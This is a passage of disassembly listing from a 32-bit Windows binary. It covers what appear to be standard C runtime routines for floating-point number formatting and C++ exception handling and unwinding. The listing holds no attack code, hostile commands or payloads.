		jz	short loc_422331
		mov	byte ptr [ecx],	45h


loc_422331:				; CODE XREF: sub_422279+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_422376
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_422345
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_422345:				; CODE XREF: sub_422279+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_42235C
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_42235C:				; CODE XREF: sub_422279+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_422373
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_422373:				; CODE XREF: sub_422279+E7j
		add	[ecx+1], bl


loc_422376:				; CODE XREF: sub_422279+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_422279	endp


; =============== S U B	R O U T	I N E =======================================



sub_42237D	proc near		; CODE XREF: sub_42251D+13p
					; sub_422540+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DBE6C, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_4223B8
		mov	eax, dword_4DBE70
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DBE68
		cmp	eax, ebx
		jnz	short loc_4223E8
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_4223E8
; ---------------------------------------------------------------------------


loc_4223B8:				; CODE XREF: sub_42237D+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_424DF9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424D82
		add	esp, 14h


loc_4223E8:				; CODE XREF: sub_42237D+22j
					; sub_42237D+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_4223F6
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_4223F6:				; CODE XREF: sub_42237D+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_42240D
		push	1
		push	edi
		call	sub_422591
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_42240F
; ---------------------------------------------------------------------------


loc_42240D:				; CODE XREF: sub_42237D+7Ej
		add	edi, eax


loc_42240F:				; CODE XREF: sub_42237D+8Ej
		test	ebx, ebx
		jle	short loc_422454
		push	1
		push	edi
		call	sub_422591
		mov	al, byte_43D098
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_422454
		cmp	byte_4DBE6C, 0
		jz	short loc_422439
		neg	esi
		jmp	short loc_42243F
; ---------------------------------------------------------------------------


loc_422439:				; CODE XREF: sub_42237D+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_422441


loc_42243F:				; CODE XREF: sub_42237D+BAj
		mov	ebx, esi


loc_422441:				; CODE XREF: sub_42237D+C0j
		push	ebx
		push	edi
		call	sub_422591
		push	ebx
		push	30h
		push	edi
		call	sub_41BF70
		add	esp, 14h


loc_422454:				; CODE XREF: sub_42237D+94j
					; sub_42237D+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42237D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42245B	proc near		; CODE XREF: sub_422540+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_424DF9
		mov	dword_4DBE68, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DBE70, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424D82
		mov	eax, dword_4DBE68
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DBE70, ecx
		setl	cl
		mov	byte_4DBE74, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DBE70, eax
		jl	short loc_4224E1
		cmp	eax, ebx
		jge	short loc_4224E1
		test	cl, cl
		jz	short loc_4224D2


loc_4224C8:				; CODE XREF: sub_42245B+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_4224C8
		and	[esi-2], al


loc_4224D2:				; CODE XREF: sub_42245B+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_42251D
		add	esp, 0Ch
		jmp	short loc_4224F1
; ---------------------------------------------------------------------------


loc_4224E1:				; CODE XREF: sub_42245B+63j
					; sub_42245B+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_4224F6
		add	esp, 10h


loc_4224F1:				; CODE XREF: sub_42245B+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42245B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4224F6	proc near		; CODE XREF: sub_42245B+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DBE6C, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_422279
		and	byte_4DBE6C, 0
		add	esp, 10h
		retn
sub_4224F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42251D	proc near		; CODE XREF: sub_42245B+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DBE6C, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_42237D
		and	byte_4DBE6C, 0
		add	esp, 0Ch
		retn
sub_42251D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422540	proc near		; CODE XREF: sub_41FF3F+3AAp
					; DATA XREF: sub_41D13Co ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_42257B
		cmp	[ebp+arg_8], 45h
		jz	short loc_42257B
		cmp	[ebp+arg_8], 66h
		jnz	short loc_422568
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42237D
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_422568:				; CODE XREF: sub_422540+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42245B
		jmp	short loc_42258C
; ---------------------------------------------------------------------------


loc_42257B:				; CODE XREF: sub_422540+7j
					; sub_422540+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422279


loc_42258C:				; CODE XREF: sub_422540+39j
		add	esp, 10h
		pop	ebp
		retn
sub_422540	endp


; =============== S U B	R O U T	I N E =======================================



sub_422591	proc near		; CODE XREF: sub_422279+2Cp
					; sub_42237D+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_4225B4
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41B9C0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41D670
		add	esp, 10h
		pop	esi


loc_4225B4:				; CODE XREF: sub_422591+7j
		pop	edi
		retn
sub_422591	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B6	proc near		; CODE XREF: .packed:0041D31Cp
					; sub_41D385+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_4225CC
		call	sub_422E52


loc_4225CC:				; CODE XREF: sub_4225B6+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_4225F4
		cmp	dword ptr [esi+4], 0
		jz	short loc_42264A
		cmp	[ebp+arg_14], 0
		jnz	short loc_42264A
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_4228FD
		add	esp, 10h
		jmp	short loc_42264A
; ---------------------------------------------------------------------------


loc_4225F4:				; CODE XREF: sub_4225B6+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_42264A
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42262E
		cmp	[eax+14h], edi
		jbe	short loc_42262E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_42262E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_42264D
; ---------------------------------------------------------------------------


loc_42262E:				; CODE XREF: sub_4225B6+4Aj
					; sub_4225B6+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_422651
		add	esp, 20h


loc_42264A:				; CODE XREF: sub_4225B6+23j
					; sub_4225B6+29j ...
		push	1
		pop	eax


loc_42264D:				; CODE XREF: sub_4225B6+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4225B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422651	proc near		; CODE XREF: sub_4225B6+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_422671
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_422676


loc_422671:				; CODE XREF: sub_422651+16j
		call	sub_422E52


loc_422676:				; CODE XREF: sub_422651+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_4226EA
		cmp	[esi+14h], edi
		jnz	short loc_4226EA
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_4226EA
		mov	esi, dword_4DBE78
		test	esi, esi
		jz	loc_4227C8
		mov	eax, dword_4DBE7C
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424F80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4226CC
		call	sub_422E52


loc_4226CC:				; CODE XREF: sub_422651+74j
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_4226EA
		cmp	[esi+14h], edi
		jnz	short loc_4226EA
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_4226EA
		call	sub_422E52


loc_4226EA:				; CODE XREF: sub_422651+41j
					; sub_422651+46j ...
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	loc_4227CD
		cmp	[esi+14h], edi
		jnz	loc_4227CD
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D4D3
		add	esp, 14h
		mov	ebx, eax


loc_422721:				; CODE XREF: sub_422651+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_4227B8
		cmp	[ebx], edi
		jg	short loc_4227AD
		cmp	edi, [ebx+4]
		jg	short loc_4227AD
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_4227AA


loc_422746:				; CODE XREF: sub_422651+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_422777


loc_422758:				; CODE XREF: sub_422651+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_4228A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_422786
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_422758


loc_422777:				; CODE XREF: sub_422651+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_422746
		jmp	short loc_4227AA
; ---------------------------------------------------------------------------


loc_422786:				; CODE XREF: sub_422651+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4229B1
		add	esp, 2Ch


loc_4227AA:				; CODE XREF: sub_422651+F3j
					; sub_422651+133j
		mov	edi, [ebp+var_10]


loc_4227AD:				; CODE XREF: sub_422651+DEj
					; sub_422651+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_422721
; ---------------------------------------------------------------------------


loc_4227B8:				; CODE XREF: sub_422651+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_4227C8
		push	1
		push	esi
		call	sub_422D26
		pop	ecx
		pop	ecx


loc_4227C8:				; CODE XREF: sub_422651+56j
					; sub_422651+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4227CD:				; CODE XREF: sub_422651+37j
					; sub_422651+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_4227F3
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4227F8
		add	esp, 20h
		jmp	short loc_4227C8
; ---------------------------------------------------------------------------


loc_4227F3:				; CODE XREF: sub_422651+180j
		jmp	sub_422DFC
sub_422651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227F8	proc near		; CODE XREF: sub_422651+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DBE80, 0
		push	esi
		push	edi
		jz	short loc_422829
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D3AA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_42289C


loc_422829:				; CODE XREF: sub_4227F8+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D4D3
		add	esp, 14h
		mov	esi, eax


loc_422845:				; CODE XREF: sub_4227F8+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_42289C
		cmp	edi, [esi]
		jl	short loc_422894
		cmp	edi, [esi+4]
		jg	short loc_422894
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_42286E
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_422894


loc_42286E:				; CODE XREF: sub_4227F8+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4229B1
		add	esp, 2Ch


loc_422894:				; CODE XREF: sub_4227F8+57j
					; sub_4227F8+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_422845
; ---------------------------------------------------------------------------


loc_42289C:				; CODE XREF: sub_4227F8+2Fj
					; sub_4227F8+53j
		pop	edi
		pop	esi
		leave
		retn
sub_4227F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4228A0	proc near		; CODE XREF: sub_422651+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_4228F7
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_4228F7
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_4228D1
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4228F3


loc_4228D1:				; CODE XREF: sub_4228A0+1Fj
		test	byte ptr [esi],	2
		jz	short loc_4228DB
		test	byte ptr [edi],	8
		jz	short loc_4228F3


loc_4228DB:				; CODE XREF: sub_4228A0+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_4228EA
		test	byte ptr [edi],	1
		jz	short loc_4228F3


loc_4228EA:				; CODE XREF: sub_4228A0+43j
		test	al, 2
		jz	short loc_4228F7
		test	byte ptr [edi],	2
		jnz	short loc_4228F7


loc_4228F3:				; CODE XREF: sub_4228A0+2Fj
					; sub_4228A0+39j ...
		xor	eax, eax
		jmp	short loc_4228FA
; ---------------------------------------------------------------------------


loc_4228F7:				; CODE XREF: sub_4228A0+Bj
					; sub_4228A0+14j ...
		push	1
		pop	eax


loc_4228FA:				; CODE XREF: sub_4228A0+55j
		pop	edi
		pop	esi
		retn
sub_4228A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4228FD	proc near		; CODE XREF: sub_4225B6+34p
					; sub_4229B1+42p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278A8
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_42292F:				; CODE XREF: sub_4228FD+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_422989
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42293E
		cmp	esi, [edi+4]
		jl	short loc_422943


loc_42293E:				; CODE XREF: sub_4228FD+3Aj
		call	sub_422E52


loc_422943:				; CODE XREF: sub_4228FD+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_42295E
		push	103h
		push	ebx
		push	eax
		call	sub_422DB0


loc_42295E:				; CODE XREF: sub_4228FD+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42297E
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_42299B
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_42297E:				; CODE XREF: sub_4228FD+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42292F
; ---------------------------------------------------------------------------


loc_422989:				; CODE XREF: sub_4228FD+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4228FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42299B	proc near		; CODE XREF: sub_4228FD+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_4229AC
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4229AC:				; CODE XREF: sub_42299B+Cj
		jmp	sub_422DFC
sub_42299B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4229B1	proc near		; CODE XREF: sub_422651+151p
					; sub_4227F8+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_4229D3
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_422B62
		add	esp, 10h


loc_4229D3:				; CODE XREF: sub_4229B1+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_4229DF
		push	edi
		jmp	short loc_4229E2
; ---------------------------------------------------------------------------


loc_4229DF:				; CODE XREF: sub_4229B1+29j
		push	[ebp+arg_24]


loc_4229E2:				; CODE XREF: sub_4229B1+2Cj
		call	sub_41D2AC
		mov	esi, [ebp+arg_1C]
		push	dword ptr [esi]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	edi
		call	sub_4228FD
		mov	eax, [esi+4]
		push	100h
		push	[ebp+arg_20]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_422A2C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422A27
		push	edi
		push	eax
		call	sub_41D26A


loc_422A27:				; CODE XREF: sub_4229B1+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4229B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422A2C	proc near		; CODE XREF: sub_4229B1+63p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278B8
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DBE78
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DBE7C
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DBE78, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DBE7C, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41D331
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422AF2
		mov	eax, [ebp+var_2C]


loc_422AB9:				; CODE XREF: sub_422AD2+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422A2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AC8	proc near		; DATA XREF: .packed:004278C8o
		push	dword ptr [ebp-14h]
		call	sub_422B38
		pop	ecx
		retn
sub_422AC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AD2	proc near		; DATA XREF: .packed:004278CCo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41D592
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422AB9
sub_422AD2	endp

; ---------------------------------------------------------------------------


loc_422AEA:				; DATA XREF: .packed:004278C0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422AF2	proc near		; CODE XREF: sub_422A2C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DBE78, eax
		mov	eax, [ebp-20h]
		mov	dword_4DBE7C, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422B37
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422B37
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422B37
		cmp	[ebp-24h], ebx
		jnz	short locret_422B37
		cmp	[ebp-2Ch], ebx
		jz	short locret_422B37
		call	sub_41D5FA
		push	eax
		push	edi
		call	sub_422D26
		pop	ecx
		pop	ecx

locret_422B37:				; CODE XREF: sub_422AF2+1Cj
					; sub_422AF2+22j ...
		retn
sub_422AF2	endp


; =============== S U B	R O U T	I N E =======================================



sub_422B38	proc near		; CODE XREF: sub_422AC8+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_422B5F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_422B5F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_422B5F
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_422B5F
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422B5F:				; CODE XREF: sub_422B38+Cj
					; sub_422B38+12j ...
		xor	eax, eax
		retn
sub_422B38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422B62	proc near		; CODE XREF: sub_4229B1+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
